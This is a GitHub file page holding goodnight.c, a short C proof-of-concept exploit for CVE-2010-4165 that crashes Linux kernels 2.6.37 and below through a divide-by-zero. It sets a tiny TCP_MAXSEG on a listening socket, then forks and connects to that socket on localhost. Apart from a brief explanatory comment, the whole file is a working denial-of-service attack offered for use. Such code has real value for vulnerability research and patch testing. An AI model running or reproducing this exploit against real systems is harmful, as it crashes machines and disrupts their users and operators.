-
Notifications
You must be signed in to change notification settings - Fork 110
/
goodnight.c
executable file
·62 lines (61 loc) · 1.99 KB
/
goodnight.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
* =======================================================
* A divide by 0 error occurs in tcp_select_initial_window
* when processing user supplied TCP_MAXSEG facilitating a
* local denial-of-service condition (kernel oops!) in all
* Linux Kernel 2.6.x branch (2.6.37 & below). This issue
* can be triggered easily with a call to setsockopt() on
* a listening network socket and then establishing a TCP
* connection to the awaiting socket.
*
* -- prdelka
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <string.h>
int main() {
int optval, optlen, ret, sd, sd2, pid;
char *host = "localhost";
struct sockaddr_in locAddr;
struct sockaddr_in servAddr;
struct sockaddr_in dstAddr;
printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");
sd = socket(AF_INET, SOCK_STREAM, 0);
memset(&servAddr,0,sizeof(servAddr));
memset(&dstAddr,0,sizeof(dstAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(60000);
servAddr.sin_addr.s_addr = INADDR_ANY;
dstAddr.sin_family = AF_INET;
inet_aton("127.0.0.1", &dstAddr.sin_addr);
dstAddr.sin_port = htons(60000);
if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
printf("[ Cannot bind listener service\n");
exit(-1);
}
listen(sd,4);
optval = 12;
ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
if(ret==0)
{
printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
int sin_size = sizeof(struct sockaddr_in);
switch(pid = fork())
{
case 0:
sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
sleep(3);
default:
sd2 = socket(AF_INET, SOCK_STREAM, 0);
connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
sleep(3);
}
}
printf("[ System is patched, no dreams for this prince\n");
return 0;
}